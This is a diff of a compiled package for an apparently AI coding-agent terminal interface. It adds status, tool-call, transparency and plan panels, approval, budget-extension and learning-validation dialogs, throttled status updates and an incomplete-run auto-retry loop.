- package/dist/src/tracing/trace-collector.js.map +1 -1
- package/dist/src/tracing/types.d.ts.map +1 -1
- package/dist/src/tracing/types.js.map +1 -1
- package/dist/src/tricks/failure-evidence.d.ts.map +1 -1
- package/dist/src/tricks/failure-evidence.js +16 -26
- package/dist/src/tricks/failure-evidence.js.map +1 -1
- package/dist/src/tricks/json-utils.d.ts.map +1 -1
- package/dist/src/tricks/json-utils.js +1 -4
- package/dist/src/tricks/json-utils.js.map +1 -1
- package/dist/src/tricks/kv-cache-context.d.ts.map +1 -1
- package/dist/src/tricks/kv-cache-context.js +2 -3
- package/dist/src/tricks/kv-cache-context.js.map +1 -1
- package/dist/src/tricks/recitation.d.ts.map +1 -1
- package/dist/src/tricks/recitation.js +22 -18
- package/dist/src/tricks/recitation.js.map +1 -1
- package/dist/src/tricks/recursive-context.d.ts.map +1 -1
- package/dist/src/tricks/recursive-context.js +8 -5
- package/dist/src/tricks/recursive-context.js.map +1 -1
- package/dist/src/tricks/reversible-compaction.d.ts.map +1 -1
- package/dist/src/tricks/reversible-compaction.js +11 -7
- package/dist/src/tricks/reversible-compaction.js.map +1 -1
- package/dist/src/tricks/serialization-diversity.d.ts.map +1 -1
- package/dist/src/tricks/serialization-diversity.js +12 -12
- package/dist/src/tricks/serialization-diversity.js.map +1 -1
- package/dist/src/tui/app.d.ts +6 -2
- package/dist/src/tui/app.d.ts.map +1 -1
- package/dist/src/tui/app.js +636 -583
- package/dist/src/tui/app.js.map +1 -1
- package/dist/src/tui/components/ActiveAgentsPanel.d.ts +2 -0
- package/dist/src/tui/components/ActiveAgentsPanel.d.ts.map +1 -1
- package/dist/src/tui/components/ActiveAgentsPanel.js +5 -5
- package/dist/src/tui/components/ActiveAgentsPanel.js.map +1 -1
- package/dist/src/tui/components/ApprovalDialog.d.ts.map +1 -1
- package/dist/src/tui/components/ApprovalDialog.js +14 -0
- package/dist/src/tui/components/ApprovalDialog.js.map +1 -1
- package/dist/src/tui/components/BudgetExtensionDialog.d.ts +18 -0
- package/dist/src/tui/components/BudgetExtensionDialog.d.ts.map +1 -0
- package/dist/src/tui/components/BudgetExtensionDialog.js +40 -0
- package/dist/src/tui/components/BudgetExtensionDialog.js.map +1 -0
- package/dist/src/tui/components/CollapsibleDiffView.d.ts.map +1 -1
- package/dist/src/tui/components/CollapsibleDiffView.js +18 -13
- package/dist/src/tui/components/CollapsibleDiffView.js.map +1 -1
- package/dist/src/tui/components/DebugPanel.d.ts.map +1 -1
- package/dist/src/tui/components/DebugPanel.js +46 -26
- package/dist/src/tui/components/DebugPanel.js.map +1 -1
- package/dist/src/tui/components/DiagnosticsPanel.d.ts.map +1 -1
- package/dist/src/tui/components/DiagnosticsPanel.js +18 -2
- package/dist/src/tui/components/DiagnosticsPanel.js.map +1 -1
- package/dist/src/tui/components/DiffView.d.ts.map +1 -1
- package/dist/src/tui/components/DiffView.js +21 -14
- package/dist/src/tui/components/DiffView.js.map +1 -1
- package/dist/src/tui/components/ErrorBoundary.d.ts.map +1 -1
- package/dist/src/tui/components/ErrorBoundary.js +7 -2
- package/dist/src/tui/components/ErrorBoundary.js.map +1 -1
- package/dist/src/tui/components/ErrorDetailPanel.d.ts.map +1 -1
- package/dist/src/tui/components/ErrorDetailPanel.js +4 -4
- package/dist/src/tui/components/ErrorDetailPanel.js.map +1 -1
- package/dist/src/tui/components/FileChangeSummary.d.ts.map +1 -1
- package/dist/src/tui/components/FileChangeSummary.js +3 -3
- package/dist/src/tui/components/FileChangeSummary.js.map +1 -1
- package/dist/src/tui/components/InputArea.d.ts.map +1 -1
- package/dist/src/tui/components/InputArea.js +32 -15
- package/dist/src/tui/components/InputArea.js.map +1 -1
- package/dist/src/tui/components/LearningValidationDialog.d.ts +25 -0
- package/dist/src/tui/components/LearningValidationDialog.d.ts.map +1 -0
- package/dist/src/tui/components/LearningValidationDialog.js +35 -0
- package/dist/src/tui/components/LearningValidationDialog.js.map +1 -0
- package/dist/src/tui/components/MessageItem.d.ts.map +1 -1
- package/dist/src/tui/components/MessageItem.js.map +1 -1
- package/dist/src/tui/components/PlanPanel.d.ts +27 -0
- package/dist/src/tui/components/PlanPanel.d.ts.map +1 -0
- package/dist/src/tui/components/PlanPanel.js +45 -0
- package/dist/src/tui/components/PlanPanel.js.map +1 -0
- package/dist/src/tui/components/ScrollableBox.d.ts.map +1 -1
- package/dist/src/tui/components/ScrollableBox.js +2 -2
- package/dist/src/tui/components/ScrollableBox.js.map +1 -1
- package/dist/src/tui/components/SideBySideDiff.d.ts.map +1 -1
- package/dist/src/tui/components/SideBySideDiff.js +20 -18
- package/dist/src/tui/components/SideBySideDiff.js.map +1 -1
- package/dist/src/tui/components/StatusBar.d.ts +41 -0
- package/dist/src/tui/components/StatusBar.d.ts.map +1 -0
- package/dist/src/tui/components/StatusBar.js +114 -0
- package/dist/src/tui/components/StatusBar.js.map +1 -0
- package/dist/src/tui/components/SwarmStatusPanel.d.ts.map +1 -1
- package/dist/src/tui/components/SwarmStatusPanel.js +25 -17
- package/dist/src/tui/components/SwarmStatusPanel.js.map +1 -1
- package/dist/src/tui/components/TasksPanel.d.ts.map +1 -1
- package/dist/src/tui/components/TasksPanel.js +12 -11
- package/dist/src/tui/components/TasksPanel.js.map +1 -1
- package/dist/src/tui/components/ToolCallItem.d.ts.map +1 -1
- package/dist/src/tui/components/ToolCallItem.js +19 -6
- package/dist/src/tui/components/ToolCallItem.js.map +1 -1
- package/dist/src/tui/components/ToolCallsPanel.d.ts +15 -0
- package/dist/src/tui/components/ToolCallsPanel.d.ts.map +1 -0
- package/dist/src/tui/components/ToolCallsPanel.js +34 -0
- package/dist/src/tui/components/ToolCallsPanel.js.map +1 -0
- package/dist/src/tui/components/TransparencyPanel.d.ts +15 -0
- package/dist/src/tui/components/TransparencyPanel.d.ts.map +1 -0
- package/dist/src/tui/components/TransparencyPanel.js +46 -0
- package/dist/src/tui/components/TransparencyPanel.js.map +1 -0
- package/dist/src/tui/components/index.d.ts +8 -2
- package/dist/src/tui/components/index.d.ts.map +1 -1
- package/dist/src/tui/components/index.js +14 -2
- package/dist/src/tui/components/index.js.map +1 -1
- package/dist/src/tui/event-display.d.ts.map +1 -1
- package/dist/src/tui/event-display.js +12 -3
- package/dist/src/tui/event-display.js.map +1 -1
- package/dist/src/tui/hooks/index.d.ts +1 -0
- package/dist/src/tui/hooks/index.d.ts.map +1 -1
- package/dist/src/tui/hooks/index.js +1 -0
- package/dist/src/tui/hooks/index.js.map +1 -1
- package/dist/src/tui/hooks/use-agent-events.d.ts +53 -0
- package/dist/src/tui/hooks/use-agent-events.d.ts.map +1 -0
- package/dist/src/tui/hooks/use-agent-events.js +444 -0
- package/dist/src/tui/hooks/use-agent-events.js.map +1 -0
- package/dist/src/tui/hooks/use-throttled-state.d.ts +18 -0
- package/dist/src/tui/hooks/use-throttled-state.d.ts.map +1 -0
- package/dist/src/tui/hooks/use-throttled-state.js +93 -0
- package/dist/src/tui/hooks/use-throttled-state.js.map +1 -0
- package/dist/src/tui/hooks/useMessagePruning.d.ts.map +1 -1
- package/dist/src/tui/hooks/useMessagePruning.js.map +1 -1
- package/dist/src/tui/index.d.ts +2 -2
- package/dist/src/tui/index.d.ts.map +1 -1
- package/dist/src/tui/index.js +101 -6
- package/dist/src/tui/index.js.map +1 -1
- package/dist/src/tui/input/CommandPalette.d.ts.map +1 -1
- package/dist/src/tui/input/CommandPalette.js +2 -2
- package/dist/src/tui/input/CommandPalette.js.map +1 -1
- package/dist/src/tui/input/index.d.ts +1 -1
- package/dist/src/tui/input/index.d.ts.map +1 -1
- package/dist/src/tui/input/index.js +1 -1
- package/dist/src/tui/input/index.js.map +1 -1
- package/dist/src/tui/syntax/languages/bash.js +94 -16
- package/dist/src/tui/syntax/languages/bash.js.map +1 -1
- package/dist/src/tui/syntax/languages/javascript.js +65 -12
- package/dist/src/tui/syntax/languages/javascript.js.map +1 -1
- package/dist/src/tui/syntax/languages/json.js.map +1 -1
- package/dist/src/tui/syntax/languages/python.js +81 -15
- package/dist/src/tui/syntax/languages/python.js.map +1 -1
- package/dist/src/tui/theme/index.js.map +1 -1
- package/dist/src/tui/transparency-aggregator.d.ts.map +1 -1
- package/dist/src/tui/transparency-aggregator.js +18 -4
- package/dist/src/tui/transparency-aggregator.js.map +1 -1
- package/dist/src/tui/types.d.ts.map +1 -1
- package/dist/src/tui/types.js.map +1 -1
- package/dist/src/tui/utils/keyboard.d.ts.map +1 -1
- package/dist/src/tui/utils/keyboard.js.map +1 -1
- package/dist/src/types.d.ts +12 -0
- package/dist/src/types.d.ts.map +1 -1
- package/package.json +1 -1
package/dist/src/tui/app.js
CHANGED
|
@@ -13,19 +13,30 @@ import { Box, Text, useApp, useInput, Static } from 'ink';
|
|
|
13
13
|
import { ActiveAgentsPanel } from './components/ActiveAgentsPanel.js';
|
|
14
14
|
import { TasksPanel } from './components/TasksPanel.js';
|
|
15
15
|
import { SwarmStatusPanel } from './components/SwarmStatusPanel.js';
|
|
16
|
-
import { ToolCallItem } from './components/ToolCallItem.js';
|
|
17
16
|
import { DebugPanel, useDebugBuffer } from './components/DebugPanel.js';
|
|
18
17
|
import { DiagnosticsPanel } from './components/DiagnosticsPanel.js';
|
|
19
18
|
import { runTypeCheck, getASTCacheStats } from '../integrations/index.js';
|
|
20
19
|
import { estimateTokenCount } from '../integrations/utilities/token-estimate.js';
|
|
20
|
+
import { StatusBar } from './components/StatusBar.js';
|
|
21
|
+
import { ToolCallsPanel } from './components/ToolCallsPanel.js';
|
|
22
|
+
import { TransparencyPanel } from './components/TransparencyPanel.js';
|
|
23
|
+
import { useAgentEvents } from './hooks/use-agent-events.js';
|
|
24
|
+
import { useMessagePruning } from './hooks/useMessagePruning.js';
|
|
21
25
|
import { getTheme, getThemeNames } from './theme/index.js';
|
|
22
26
|
import { ControlledCommandPalette } from './input/CommandPalette.js';
|
|
23
27
|
import { ApprovalDialog } from './components/ApprovalDialog.js';
|
|
24
|
-
import {
|
|
28
|
+
import { BudgetExtensionDialog } from './components/BudgetExtensionDialog.js';
|
|
29
|
+
import { LearningValidationDialog } from './components/LearningValidationDialog.js';
|
|
30
|
+
import { PlanPanel } from './components/PlanPanel.js';
|
|
25
31
|
import { handleSkillsCommand } from '../commands/skills-commands.js';
|
|
26
32
|
import { handleAgentsCommand } from '../commands/agents-commands.js';
|
|
27
33
|
import { handleInitCommand } from '../commands/init-commands.js';
|
|
28
34
|
import { createHistoryManager } from '../integrations/persistence/history.js';
|
|
35
|
+
// Module-level constant for DiagnosticsPanel fallback (prevents new object each render)
|
|
36
|
+
const EMPTY_DIAGNOSTICS = {
|
|
37
|
+
lastTscResult: null,
|
|
38
|
+
recentSyntaxErrors: [],
|
|
39
|
+
};
|
|
29
40
|
// =============================================================================
|
|
30
41
|
// PATTERN GENERATION FOR ALWAYS-ALLOW
|
|
31
42
|
// =============================================================================
|
|
@@ -61,7 +72,7 @@ function generateApprovalPattern(request) {
|
|
|
61
72
|
return `${tool}:${path}`;
|
|
62
73
|
}
|
|
63
74
|
// Default: tool + first string argument
|
|
64
|
-
const firstStringArg = Object.values(args).find(v => typeof v === 'string');
|
|
75
|
+
const firstStringArg = Object.values(args).find((v) => typeof v === 'string');
|
|
65
76
|
return `${tool}:${firstStringArg || ''}`;
|
|
66
77
|
}
|
|
67
78
|
function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
|
|
@@ -75,7 +86,9 @@ function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
|
|
|
75
86
|
taskSummary,
|
|
76
87
|
'Continue working on the remaining tasks. Pick up the next available task and execute it.',
|
|
77
88
|
details ? `Context: ${details}` : '',
|
|
78
|
-
]
|
|
89
|
+
]
|
|
90
|
+
.filter(Boolean)
|
|
91
|
+
.join('\n');
|
|
79
92
|
}
|
|
80
93
|
if (promptStyle === 'concise') {
|
|
81
94
|
return `[System] Continue now and execute required actions immediately. Avoid future-intent phrasing. ${details ? `Context: ${details}` : ''}`.trim();
|
|
@@ -85,7 +98,9 @@ function buildAutoLoopPrompt(details, promptStyle, reason, openTasks) {
|
|
|
85
98
|
'Continue from current state and execute the remaining action now with tools if needed.',
|
|
86
99
|
'Do not describe what you will do next. Either perform the action or provide a final completion statement.',
|
|
87
100
|
details ? `Context: ${details}` : '',
|
|
88
|
-
]
|
|
101
|
+
]
|
|
102
|
+
.filter(Boolean)
|
|
103
|
+
.join('\n');
|
|
89
104
|
}
|
|
90
105
|
export async function runWithIncompleteAutoLoop(agent, task, callbacks) {
|
|
91
106
|
const resilienceCfgRaw = agent.getResilienceConfig?.();
|
|
@@ -98,14 +113,14 @@ export async function runWithIncompleteAutoLoop(agent, task, callbacks) {
|
|
|
98
113
|
let result = await agent.run(task);
|
|
99
114
|
const reasonChain = [result.completion.reason];
|
|
100
115
|
let autoLoopRuns = 0;
|
|
101
|
-
const isRetryableReason = (reason) => reason === 'future_intent'
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
while (!result.success
|
|
106
|
-
&&
|
|
107
|
-
|
|
108
|
-
|
|
116
|
+
const isRetryableReason = (reason) => reason === 'future_intent' ||
|
|
117
|
+
reason === 'incomplete_action' ||
|
|
118
|
+
reason === 'open_tasks' ||
|
|
119
|
+
reason === 'budget_limit';
|
|
120
|
+
while (!result.success &&
|
|
121
|
+
incompleteAutoLoop &&
|
|
122
|
+
isRetryableReason(result.completion.reason) &&
|
|
123
|
+
autoLoopRuns < maxIncompleteAutoLoops) {
|
|
109
124
|
autoLoopRuns++;
|
|
110
125
|
callbacks?.onRetry?.(autoLoopRuns, maxIncompleteAutoLoops);
|
|
111
126
|
const recoveryPrompt = buildAutoLoopPrompt(result.completion.details, promptStyle, result.completion.reason, result.completion.openTasks);
|
|
@@ -135,7 +150,7 @@ const MessageItem = memo(function MessageItem({ msg, colors }) {
|
|
|
135
150
|
const label = isUser ? 'You' : isAssistant ? 'Assistant' : isError ? 'Error' : 'System';
|
|
136
151
|
return (_jsxs(Box, { marginBottom: 1, flexDirection: "column", children: [_jsxs(Box, { gap: 1, children: [_jsx(Text, { color: roleColor, bold: true, children: icon }), _jsx(Text, { color: roleColor, bold: true, children: label }), _jsx(Text, { color: colors.textMuted, dimColor: true, children: ` ${msg.ts.toLocaleTimeString('en-US', { hour: '2-digit', minute: '2-digit' })}` })] }), _jsx(Box, { marginLeft: 2, children: _jsx(Text, { wrap: "wrap", color: isError ? colors.error : colors.text, children: msg.content }) })] }));
|
|
137
152
|
});
|
|
138
|
-
const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled, borderColor, textColor, cursorColor, onCtrlC, onCtrlL, onCtrlP, onEscape, onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics, onPageUp, onPageDown, onHome, onEnd, commandPaletteOpen, onCommandPaletteInput, approvalDialogOpen, approvalDenyReasonMode, onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason, onApprovalCancelDenyReason, onApprovalDenyReasonInput, history = [], onHistorySearch, }) {
|
|
153
|
+
const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled, borderColor, textColor, cursorColor, onCtrlC, onCtrlL, onCtrlP, onEscape, onToggleToolExpand, onToggleThinking, onToggleTransparency, onToggleActiveAgents, onToggleTasks, onToggleDebug, onToggleSwarm, onToggleDiagnostics, onPageUp, onPageDown, onHome, onEnd, commandPaletteOpen, onCommandPaletteInput, approvalDialogOpen, approvalDenyReasonMode, onApprovalApprove, onApprovalAlwaysAllow, onApprovalDeny, onApprovalDenyWithReason, onApprovalCancelDenyReason, onApprovalDenyReasonInput, budgetExtensionDialogOpen, onBudgetExtensionApprove, onBudgetExtensionDeny, learningValidationDialogOpen, onLearningApprove, onLearningReject, onLearningSkip, history = [], onHistorySearch, }) {
|
|
139
154
|
const [value, setValue] = useState('');
|
|
140
155
|
const [cursorPos, setCursorPos] = useState(0);
|
|
141
156
|
// History navigation state
|
|
@@ -145,23 +160,77 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
145
160
|
historyRef.current = history;
|
|
146
161
|
// Store callbacks in refs so useInput doesn't re-subscribe on prop changes
|
|
147
162
|
const callbacksRef = useRef({
|
|
148
|
-
onSubmit,
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
163
|
+
onSubmit,
|
|
164
|
+
onCtrlC,
|
|
165
|
+
onCtrlL,
|
|
166
|
+
onCtrlP,
|
|
167
|
+
onEscape,
|
|
168
|
+
onToggleToolExpand,
|
|
169
|
+
onToggleThinking,
|
|
170
|
+
onToggleTransparency,
|
|
171
|
+
onToggleActiveAgents,
|
|
172
|
+
onToggleTasks,
|
|
173
|
+
onToggleDebug,
|
|
174
|
+
onToggleSwarm,
|
|
175
|
+
onToggleDiagnostics,
|
|
176
|
+
onPageUp,
|
|
177
|
+
onPageDown,
|
|
178
|
+
onHome,
|
|
179
|
+
onEnd,
|
|
180
|
+
commandPaletteOpen,
|
|
181
|
+
onCommandPaletteInput,
|
|
182
|
+
approvalDialogOpen,
|
|
183
|
+
approvalDenyReasonMode,
|
|
184
|
+
onApprovalApprove,
|
|
185
|
+
onApprovalAlwaysAllow,
|
|
186
|
+
onApprovalDeny,
|
|
187
|
+
onApprovalDenyWithReason,
|
|
188
|
+
onApprovalCancelDenyReason,
|
|
189
|
+
onApprovalDenyReasonInput,
|
|
190
|
+
budgetExtensionDialogOpen,
|
|
191
|
+
onBudgetExtensionApprove,
|
|
192
|
+
onBudgetExtensionDeny,
|
|
193
|
+
learningValidationDialogOpen,
|
|
194
|
+
onLearningApprove,
|
|
195
|
+
onLearningReject,
|
|
196
|
+
onLearningSkip,
|
|
155
197
|
onHistorySearch,
|
|
156
198
|
});
|
|
157
199
|
callbacksRef.current = {
|
|
158
|
-
onSubmit,
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
200
|
+
onSubmit,
|
|
201
|
+
onCtrlC,
|
|
202
|
+
onCtrlL,
|
|
203
|
+
onCtrlP,
|
|
204
|
+
onEscape,
|
|
205
|
+
onToggleToolExpand,
|
|
206
|
+
onToggleThinking,
|
|
207
|
+
onToggleTransparency,
|
|
208
|
+
onToggleActiveAgents,
|
|
209
|
+
onToggleTasks,
|
|
210
|
+
onToggleDebug,
|
|
211
|
+
onToggleSwarm,
|
|
212
|
+
onToggleDiagnostics,
|
|
213
|
+
onPageUp,
|
|
214
|
+
onPageDown,
|
|
215
|
+
onHome,
|
|
216
|
+
onEnd,
|
|
217
|
+
commandPaletteOpen,
|
|
218
|
+
onCommandPaletteInput,
|
|
219
|
+
approvalDialogOpen,
|
|
220
|
+
approvalDenyReasonMode,
|
|
221
|
+
onApprovalApprove,
|
|
222
|
+
onApprovalAlwaysAllow,
|
|
223
|
+
onApprovalDeny,
|
|
224
|
+
onApprovalDenyWithReason,
|
|
225
|
+
onApprovalCancelDenyReason,
|
|
226
|
+
onApprovalDenyReasonInput,
|
|
227
|
+
budgetExtensionDialogOpen,
|
|
228
|
+
onBudgetExtensionApprove,
|
|
229
|
+
onBudgetExtensionDeny,
|
|
230
|
+
learningValidationDialogOpen,
|
|
231
|
+
onLearningApprove,
|
|
232
|
+
onLearningReject,
|
|
233
|
+
onLearningSkip,
|
|
165
234
|
onHistorySearch,
|
|
166
235
|
};
|
|
167
236
|
const disabledRef = useRef(disabled);
|
|
@@ -268,6 +337,36 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
268
337
|
// Block other input while approval dialog is open
|
|
269
338
|
return;
|
|
270
339
|
}
|
|
340
|
+
// Budget extension dialog keyboard handling (when open)
|
|
341
|
+
if (cb.budgetExtensionDialogOpen) {
|
|
342
|
+
if (input === 'y' || input === 'Y') {
|
|
343
|
+
cb.onBudgetExtensionApprove?.();
|
|
344
|
+
return;
|
|
345
|
+
}
|
|
346
|
+
if (input === 'n' || input === 'N') {
|
|
347
|
+
cb.onBudgetExtensionDeny?.();
|
|
348
|
+
return;
|
|
349
|
+
}
|
|
350
|
+
// Block other input while dialog is open
|
|
351
|
+
return;
|
|
352
|
+
}
|
|
353
|
+
// Learning validation dialog keyboard handling (when open)
|
|
354
|
+
if (cb.learningValidationDialogOpen) {
|
|
355
|
+
if (input === 'y' || input === 'Y') {
|
|
356
|
+
cb.onLearningApprove?.();
|
|
357
|
+
return;
|
|
358
|
+
}
|
|
359
|
+
if (input === 'n' || input === 'N') {
|
|
360
|
+
cb.onLearningReject?.();
|
|
361
|
+
return;
|
|
362
|
+
}
|
|
363
|
+
if (input === 's' || input === 'S') {
|
|
364
|
+
cb.onLearningSkip?.();
|
|
365
|
+
return;
|
|
366
|
+
}
|
|
367
|
+
// Block other input while dialog is open
|
|
368
|
+
return;
|
|
369
|
+
}
|
|
271
370
|
// Scroll navigation
|
|
272
371
|
if (key.pageUp) {
|
|
273
372
|
cb.onPageUp?.();
|
|
@@ -290,8 +389,8 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
290
389
|
return;
|
|
291
390
|
// Shift+Enter for multiline input (insert newline)
|
|
292
391
|
if (key.return && key.shift) {
|
|
293
|
-
setValue(v => v.slice(0, cursorPos) + '\n' + v.slice(cursorPos));
|
|
294
|
-
setCursorPos(p => p + 1);
|
|
392
|
+
setValue((v) => v.slice(0, cursorPos) + '\n' + v.slice(cursorPos));
|
|
393
|
+
setCursorPos((p) => p + 1);
|
|
295
394
|
return;
|
|
296
395
|
}
|
|
297
396
|
if (key.return && value.trim()) {
|
|
@@ -304,22 +403,22 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
304
403
|
}
|
|
305
404
|
if (key.backspace || key.delete) {
|
|
306
405
|
if (cursorPos > 0) {
|
|
307
|
-
setValue(v => v.slice(0, cursorPos - 1) + v.slice(cursorPos));
|
|
308
|
-
setCursorPos(p => p - 1);
|
|
406
|
+
setValue((v) => v.slice(0, cursorPos - 1) + v.slice(cursorPos));
|
|
407
|
+
setCursorPos((p) => p - 1);
|
|
309
408
|
}
|
|
310
409
|
return;
|
|
311
410
|
}
|
|
312
411
|
if (key.leftArrow) {
|
|
313
|
-
setCursorPos(p => Math.max(0, p - 1));
|
|
412
|
+
setCursorPos((p) => Math.max(0, p - 1));
|
|
314
413
|
return;
|
|
315
414
|
}
|
|
316
415
|
if (key.rightArrow) {
|
|
317
|
-
setCursorPos(p => Math.min(value.length, p + 1));
|
|
416
|
+
setCursorPos((p) => Math.min(value.length, p + 1));
|
|
318
417
|
return;
|
|
319
418
|
}
|
|
320
419
|
// History navigation with up/down arrows
|
|
321
420
|
if (key.upArrow && historyRef.current.length > 0) {
|
|
322
|
-
setHistoryIndex(prevIndex => {
|
|
421
|
+
setHistoryIndex((prevIndex) => {
|
|
323
422
|
const maxIndex = historyRef.current.length - 1;
|
|
324
423
|
if (prevIndex === -1) {
|
|
325
424
|
// First press - save current input and go to most recent history
|
|
@@ -342,7 +441,7 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
342
441
|
return;
|
|
343
442
|
}
|
|
344
443
|
if (key.downArrow && historyRef.current.length > 0) {
|
|
345
|
-
setHistoryIndex(prevIndex => {
|
|
444
|
+
setHistoryIndex((prevIndex) => {
|
|
346
445
|
if (prevIndex === -1) {
|
|
347
446
|
// Not browsing history, do nothing
|
|
348
447
|
return -1;
|
|
@@ -379,40 +478,102 @@ const MemoizedInputArea = memo(function MemoizedInputArea({ onSubmit, disabled,
|
|
|
379
478
|
return;
|
|
380
479
|
}
|
|
381
480
|
if (input && !key.ctrl && !key.meta) {
|
|
382
|
-
setValue(v => v.slice(0, cursorPos) + input + v.slice(cursorPos));
|
|
383
|
-
setCursorPos(p => p + input.length);
|
|
481
|
+
setValue((v) => v.slice(0, cursorPos) + input + v.slice(cursorPos));
|
|
482
|
+
setCursorPos((p) => p + input.length);
|
|
384
483
|
}
|
|
385
484
|
});
|
|
386
485
|
// Check if multiline (for visual indicator)
|
|
387
486
|
const isMultiline = value.includes('\n');
|
|
388
487
|
const lineCount = value.split('\n').length;
|
|
389
|
-
return (_jsx(Box, { borderStyle: "round", borderColor: disabledRef.current ? '#666' : borderColor, paddingX: 1, flexDirection: "column", children: _jsxs(Box, { children: [_jsxs(Text, { color: textColor, bold: true, children: [isMultiline ? '»' : '>',
|
|
488
|
+
return (_jsx(Box, { borderStyle: "round", borderColor: disabledRef.current ? '#666' : borderColor, paddingX: 1, flexDirection: "column", children: _jsxs(Box, { children: [_jsxs(Text, { color: textColor, bold: true, children: [isMultiline ? '»' : '>', ' '] }), _jsx(Text, { children: value.slice(0, cursorPos).replace(/\n/g, '⏎') }), !disabled && (_jsx(Text, { backgroundColor: cursorColor, color: "#1a1a2e", children: value[cursorPos] === '\n' ? '⏎' : (value[cursorPos] ?? ' ') })), _jsx(Text, { children: value.slice(cursorPos + 1).replace(/\n/g, '⏎') }), isMultiline && (_jsxs(Text, { color: "#666", dimColor: true, children: [' ', "(", lineCount, " lines)"] }))] }) }));
|
|
390
489
|
}, (prevProps, nextProps) => {
|
|
391
490
|
// Custom comparison: only re-render if visual props change
|
|
392
|
-
return prevProps.disabled === nextProps.disabled &&
|
|
491
|
+
return (prevProps.disabled === nextProps.disabled &&
|
|
393
492
|
prevProps.borderColor === nextProps.borderColor &&
|
|
394
493
|
prevProps.textColor === nextProps.textColor &&
|
|
395
494
|
prevProps.cursorColor === nextProps.cursorColor &&
|
|
396
495
|
prevProps.commandPaletteOpen === nextProps.commandPaletteOpen &&
|
|
397
496
|
prevProps.approvalDialogOpen === nextProps.approvalDialogOpen &&
|
|
398
|
-
prevProps.approvalDenyReasonMode === nextProps.approvalDenyReasonMode
|
|
497
|
+
prevProps.approvalDenyReasonMode === nextProps.approvalDenyReasonMode &&
|
|
498
|
+
prevProps.budgetExtensionDialogOpen === nextProps.budgetExtensionDialogOpen &&
|
|
499
|
+
prevProps.learningValidationDialogOpen === nextProps.learningValidationDialogOpen);
|
|
399
500
|
});
|
|
400
501
|
// =============================================================================
|
|
401
502
|
// MAIN TUI APP COMPONENT
|
|
402
503
|
// =============================================================================
|
|
403
|
-
export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager, theme, model, gitBranch, currentSessionId, formatSessionsTable, saveCheckpointToStore, persistenceDebug, approvalBridge, }) {
|
|
504
|
+
export function TUIApp({ agent, sessionStore, mcpClient, compactor, lspManager, theme, model, gitBranch, currentSessionId, formatSessionsTable, saveCheckpointToStore, persistenceDebug, approvalBridge, budgetExtensionBridge, learningValidationBridge, }) {
|
|
404
505
|
const { exit } = useApp();
|
|
405
506
|
const [messages, setMessages] = useState([]);
|
|
406
507
|
const [isProcessing, setIsProcessing] = useState(false);
|
|
407
508
|
const initialModeInfo = agent.getModeInfo();
|
|
408
509
|
const initialMode = initialModeInfo.name === 'Plan' ? 'ready (plan)' : 'ready';
|
|
409
510
|
const [status, setStatus] = useState({ iter: 0, tokens: 0, cost: 0, mode: initialMode });
|
|
511
|
+
// Quantized status for StatusBar — only produces a new reference when values
|
|
512
|
+
// cross meaningful thresholds (cost >$0.001, tokens >5k). This makes the memo
|
|
513
|
+
// comparator in StatusBar effective: React skips calling it entirely when the
|
|
514
|
+
// useMemo reference is stable.
|
|
515
|
+
const statusForBar = useMemo(() => ({
|
|
516
|
+
iter: status.iter,
|
|
517
|
+
mode: status.mode,
|
|
518
|
+
cost: Math.round(status.cost * 1000) / 1000,
|
|
519
|
+
tokens: Math.round(status.tokens / 5000) * 5000,
|
|
520
|
+
}), [status.iter, status.mode,
|
|
521
|
+
// eslint-disable-next-line react-hooks/exhaustive-deps
|
|
522
|
+
Math.round(status.cost * 1000),
|
|
523
|
+
// eslint-disable-next-line react-hooks/exhaustive-deps
|
|
524
|
+
Math.round(status.tokens / 5000)]);
|
|
525
|
+
// Throttled mode-only setter for handleAgentEvent — rapid mode transitions
|
|
526
|
+
// (thinking→calling X→thinking) collapse into the latest value instead of
|
|
527
|
+
// triggering 5-7 renders per LLM iteration
|
|
528
|
+
const statusModeTimerRef = useRef(null);
|
|
529
|
+
const pendingStatusRef = useRef(null);
|
|
530
|
+
const lastStatusModeUpdateRef = useRef(0);
|
|
531
|
+
const STATUS_MODE_THROTTLE_MS = 150;
|
|
532
|
+
const setStatusThrottled = useCallback((updater) => {
|
|
533
|
+
const now = Date.now();
|
|
534
|
+
const elapsed = now - lastStatusModeUpdateRef.current;
|
|
535
|
+
if (elapsed >= STATUS_MODE_THROTTLE_MS) {
|
|
536
|
+
lastStatusModeUpdateRef.current = now;
|
|
537
|
+
setStatus(updater);
|
|
538
|
+
pendingStatusRef.current = null;
|
|
539
|
+
}
|
|
540
|
+
else {
|
|
541
|
+
pendingStatusRef.current = updater;
|
|
542
|
+
if (!statusModeTimerRef.current) {
|
|
543
|
+
statusModeTimerRef.current = setTimeout(() => {
|
|
544
|
+
statusModeTimerRef.current = null;
|
|
545
|
+
if (pendingStatusRef.current) {
|
|
546
|
+
lastStatusModeUpdateRef.current = Date.now();
|
|
547
|
+
setStatus(pendingStatusRef.current);
|
|
548
|
+
pendingStatusRef.current = null;
|
|
549
|
+
}
|
|
550
|
+
}, STATUS_MODE_THROTTLE_MS - elapsed);
|
|
551
|
+
}
|
|
552
|
+
}
|
|
553
|
+
}, []);
|
|
554
|
+
// Flush any pending throttled status update immediately (used on tool.complete
|
|
555
|
+
// to keep StatusBar in sync with ToolCallsPanel within the same render frame)
|
|
556
